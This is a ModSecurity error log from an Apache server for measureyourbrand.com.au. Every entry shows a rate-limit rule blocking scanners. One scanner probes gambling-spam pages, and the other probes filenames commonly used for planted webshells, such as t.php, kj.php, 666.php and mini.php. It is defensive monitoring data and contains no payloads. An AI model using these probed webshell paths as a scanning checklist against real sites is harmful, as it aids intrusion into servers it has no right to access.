[Sat Apr 18 01:49:48.770558 2026] [:error] [pid 63702:tid 63754] [client 147.135.128.94:34550] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aeJyvMTL05PWYsKqTEYbIAAAAU0"]
[Sat Apr 18 01:49:51.746655 2026] [:error] [pid 42442:tid 42456] [client 147.135.128.94:38524] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aeJyvz4PBGqL_yqPJ8k5TQAAAQw"]
[Sat Apr 18 01:49:54.342103 2026] [:error] [pid 59042:tid 59055] [client 147.135.128.94:38528] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aeJywp6p5oql0UklEBJYHgAAAAg"]
[Sat Apr 18 01:49:56.809580 2026] [:error] [pid 59044:tid 59102] [client 147.135.128.94:38536] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aeJyxAFamkFyEtD_SMHExgAAAIE"]
[Sat Apr 18 01:49:59.455369 2026] [:error] [pid 59042:tid 59056] [client 147.135.128.94:38516] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aeJyx56p5oql0UklEBJYIgAAAAk"]
[Sat Apr 18 01:50:02.145824 2026] [:error] [pid 63702:tid 63753] [client 147.135.128.94:38532] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aeJyysTL05PWYsKqTEYbKwAAAUw"]
[Sat Apr 18 01:50:04.694558 2026] [:error] [pid 59043:tid 59075] [client 147.135.128.94:38538] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aeJyzIRtUGE9SfUh2wwYIwAAAEE"]
[Sat Apr 18 04:44:17.250874 2026] [:error] [pid 9863:tid 9888] [client 51.120.90.220:27591] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aeKboTjjiypiFrTucbL3RAAAAA8"]
[Sat Apr 18 04:44:17.806973 2026] [:error] [pid 9865:tid 9961] [client 51.120.90.220:27625] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aeKboazb5knECIY-C-iE3QAAAJg"]
[Sat Apr 18 04:44:18.326504 2026] [:error] [pid 9970:tid 9979] [client 51.120.90.220:27584] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aeKboiYdRLRhVmaIMx2WTwAAAMU"]
[Sat Apr 18 04:44:18.927618 2026] [:error] [pid 9865:tid 9945] [client 51.120.90.220:27588] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aeKboqzb5knECIY-C-iE5QAAAIg"]
[Sat Apr 18 04:44:19.448313 2026] [:error] [pid 9865:tid 9943] [client 51.120.90.220:27599] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeKbo6zb5knECIY-C-iE6QAAAIY"]
[Sat Apr 18 04:44:19.996862 2026] [:error] [pid 9863:tid 9875] [client 51.120.90.220:27624] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeKbozjjiypiFrTucbL3RQAAAAI"]
[Sat Apr 18 04:44:20.640016 2026] [:error] [pid 9970:tid 9989] [client 51.120.90.220:27536] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeKbpCYdRLRhVmaIMx2WVgAAAM8"]
[Sat Apr 18 04:44:21.323070 2026] [:error] [pid 9865:tid 9954] [client 51.120.90.220:27641] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeKbpazb5knECIY-C-iE9gAAAJE"]
[Sat Apr 18 04:44:21.844308 2026] [:error] [pid 9863:tid 9887] [client 51.120.90.220:27622] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aeKbpTjjiypiFrTucbL3TAAAAA4"]
[Sat Apr 18 04:44:22.455522 2026] [:error] [pid 9863:tid 9873] [client 51.120.90.220:27617] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aeKbpjjjiypiFrTucbL3TgAAAAA"]
[Sat Apr 18 04:44:23.076872 2026] [:error] [pid 9864:tid 9930] [client 51.120.90.220:27638] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aeKbp4CFeowknfXHM7ka8wAAAFg"]
[Sat Apr 18 04:44:23.752846 2026] [:error] [pid 9970:tid 9979] [client 51.120.90.220:27603] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aeKbpyYdRLRhVmaIMx2WWgAAAMU"]
[Sat Apr 18 04:44:24.280482 2026] [:error] [pid 9970:tid 9986] [client 51.120.90.220:27632] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aeKbqCYdRLRhVmaIMx2WXAAAAMw"]
[Sat Apr 18 04:44:24.831343 2026] [:error] [pid 9863:tid 9888] [client 51.120.90.220:27602] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aeKbqDjjiypiFrTucbL3UwAAAA8"]
[Sat Apr 18 04:44:25.397033 2026] [:error] [pid 9970:tid 9989] [client 51.120.90.220:27524] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aeKbqSYdRLRhVmaIMx2WYwAAAM8"]
[Sat Apr 18 04:44:25.959293 2026] [:error] [pid 9865:tid 9938] [client 51.120.90.220:27600] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aeKbqazb5knECIY-C-iE_gAAAIE"]
[Sat Apr 18 04:44:26.489957 2026] [:error] [pid 9865:tid 9959] [client 51.120.90.220:27633] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeKbqqzb5knECIY-C-iFAQAAAJY"]
[Sat Apr 18 04:44:27.137658 2026] [:error] [pid 9863:tid 9894] [client 51.120.90.220:27528] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeKbqzjjiypiFrTucbL3VAAAABU"]
[Sat Apr 18 04:44:27.750142 2026] [:error] [pid 9864:tid 9927] [client 51.120.90.220:27642] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeKbq4CFeowknfXHM7ka-QAAAFU"]
[Sat Apr 18 04:44:28.282453 2026] [:error] [pid 9970:tid 9998] [client 51.120.90.220:27616] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aeKbrCYdRLRhVmaIMx2WaQAAANg"]
[Sat Apr 18 04:44:28.831537 2026] [:error] [pid 9970:tid 9986] [client 51.120.90.220:27546] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeKbrCYdRLRhVmaIMx2WbQAAAMw"]
[Sat Apr 18 04:44:29.448113 2026] [:error] [pid 9863:tid 9879] [client 51.120.90.220:27631] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeKbrTjjiypiFrTucbL3VwAAAAY"]
[Sat Apr 18 04:44:29.986450 2026] [:error] [pid 9970:tid 9974] [client 51.120.90.220:27532] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeKbrSYdRLRhVmaIMx2WcQAAAMA"]
[Sat Apr 18 04:44:30.682921 2026] [:error] [pid 9970:tid 9990] [client 51.120.90.220:27522] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeKbriYdRLRhVmaIMx2WdAAAANA"]
[Sat Apr 18 04:44:31.299324 2026] [:error] [pid 9970:tid 9987] [client 51.120.90.220:27620] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aeKbryYdRLRhVmaIMx2WeAAAAM0"]
[Sat Apr 18 04:44:31.821938 2026] [:error] [pid 9865:tid 9958] [client 51.120.90.220:27570] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aeKbr6zb5knECIY-C-iFDAAAAJU"]
[Sat Apr 18 04:44:32.384441 2026] [:error] [pid 9865:tid 9938] [client 51.120.90.220:27520] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aeKbsKzb5knECIY-C-iFDgAAAIE"]
[Sat Apr 18 04:44:32.955327 2026] [:error] [pid 9864:tid 9924] [client 51.120.90.220:27527] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aeKbsICFeowknfXHM7ka_gAAAFI"]
[Sat Apr 18 04:44:33.483997 2026] [:error] [pid 9863:tid 9873] [client 51.120.90.220:27535] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aeKbsTjjiypiFrTucbL3XAAAAAA"]
[Sat Apr 18 04:44:34.013304 2026] [:error] [pid 9865:tid 9960] [client 51.120.90.220:27560] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aeKbsqzb5knECIY-C-iFEwAAAJc"]
[Sat Apr 18 04:44:34.653084 2026] [:error] [pid 9970:tid 9983] [client 51.120.90.220:27611] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aeKbsiYdRLRhVmaIMx2WgAAAAMk"]
[Sat Apr 18 04:44:35.256987 2026] [:error] [pid 9970:tid 9996] [client 51.120.90.220:27630] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "aeKbsyYdRLRhVmaIMx2WgQAAANY"]
[Sat Apr 18 04:44:35.785000 2026] [:error] [pid 9970:tid 9975] [client 51.120.90.220:27605] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "aeKbsyYdRLRhVmaIMx2WgwAAAME"]
[Sat Apr 18 04:44:36.305190 2026] [:error] [pid 9864:tid 9908] [client 51.120.90.220:27609] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "aeKbtICFeowknfXHM7kbAwAAAEM"]
[Sat Apr 18 04:44:36.839971 2026] [:error] [pid 9864:tid 9909] [client 51.120.90.220:27596] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "aeKbtICFeowknfXHM7kbBwAAAEQ"]
[Sat Apr 18 04:44:37.412880 2026] [:error] [pid 9865:tid 9955] [client 51.120.90.220:27640] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "aeKbtazb5knECIY-C-iFGgAAAJI"]
[Sat Apr 18 04:44:37.982214 2026] [:error] [pid 9865:tid 9940] [client 51.120.90.220:27643] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aeKbtazb5knECIY-C-iFGwAAAIM"]
[Sat Apr 18 04:44:38.519712 2026] [:error] [pid 9970:tid 9994] [client 51.120.90.220:27538] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aeKbtiYdRLRhVmaIMx2WiAAAANQ"]
[Sat Apr 18 04:44:39.069472 2026] [:error] [pid 9970:tid 9992] [client 51.120.90.220:27621] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aeKbtyYdRLRhVmaIMx2WjQAAANI"]
[Sat Apr 18 04:44:39.608659 2026] [:error] [pid 9970:tid 9986] [client 51.120.90.220:27539] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aeKbtyYdRLRhVmaIMx2WjgAAAMw"]
[Sat Apr 18 04:44:40.158686 2026] [:error] [pid 9865:tid 9945] [client 51.120.90.220:27556] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aeKbuKzb5knECIY-C-iFHgAAAIg"]
[Sat Apr 18 04:44:40.678071 2026] [:error] [pid 9865:tid 9956] [client 51.120.90.220:27531] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aeKbuKzb5knECIY-C-iFHwAAAJM"]
[Sat Apr 18 04:44:41.229788 2026] [:error] [pid 9970:tid 9980] [client 51.120.90.220:27540] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aeKbuSYdRLRhVmaIMx2WmAAAAMY"]
[Sat Apr 18 04:44:41.795733 2026] [:error] [pid 9865:tid 9944] [client 51.120.90.220:27646] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aeKbuazb5knECIY-C-iFIgAAAIc"]
[Sat Apr 18 04:44:42.366971 2026] [:error] [pid 9970:tid 9993] [client 51.120.90.220:27523] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aeKbuiYdRLRhVmaIMx2WoAAAANM"]
[Sat Apr 18 04:44:42.905340 2026] [:error] [pid 9865:tid 9951] [client 51.120.90.220:27635] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aeKbuqzb5knECIY-C-iFJgAAAI4"]
[Sat Apr 18 04:44:43.433853 2026] [:error] [pid 9970:tid 9974] [client 51.120.90.220:27534] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aeKbuyYdRLRhVmaIMx2WogAAAMA"]
[Sat Apr 18 04:44:43.970022 2026] [:error] [pid 9865:tid 9960] [client 51.120.90.220:27537] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "aeKbu6zb5knECIY-C-iFKAAAAJc"]
[Sat Apr 18 04:44:44.583824 2026] [:error] [pid 9865:tid 9955] [client 51.120.90.220:27568] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "aeKbvKzb5knECIY-C-iFLgAAAJI"]
